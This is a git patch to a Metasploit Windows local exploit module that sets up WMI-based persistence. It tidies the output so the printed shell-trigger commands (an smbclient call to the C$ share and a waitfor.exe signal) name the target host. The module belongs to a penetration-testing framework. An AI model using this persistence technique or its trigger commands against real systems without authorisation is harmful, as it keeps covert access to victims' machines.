From 994f00622f6c5ee0a2f1b5ee72c1a285192e8281 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Thu, 29 Jun 2017 16:12:23 +0100 Subject: [PATCH] tidy module output --- modules/exploits/windows/local/wmi_persistence.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 97ef603cb6..2f7198b7f2 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -91,6 +91,9 @@ class MetasploitModule < Msf::Exploit::Local return end + host = session.session_host + print_status('Installing Persistence...') + case datastore['PERSISTENCE_METHOD'] when 'LOGON' psh_exec(subscription_logon) @@ -102,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Local remove_persistence when 'EVENT' psh_exec(subscription_event) - print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" + print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" \"" remove_persistence when 'PROCESS' psh_exec(subscription_process) @@ -110,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Local remove_persistence when 'WAITFOR' psh_exec(subscription_waitfor) - print_good "Persistence installed! Call a shell using \"waitfor.exe /S /SI "+datastore['WAITFOR_TRIGGER']+"\"" + print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\"" remove_persistence end end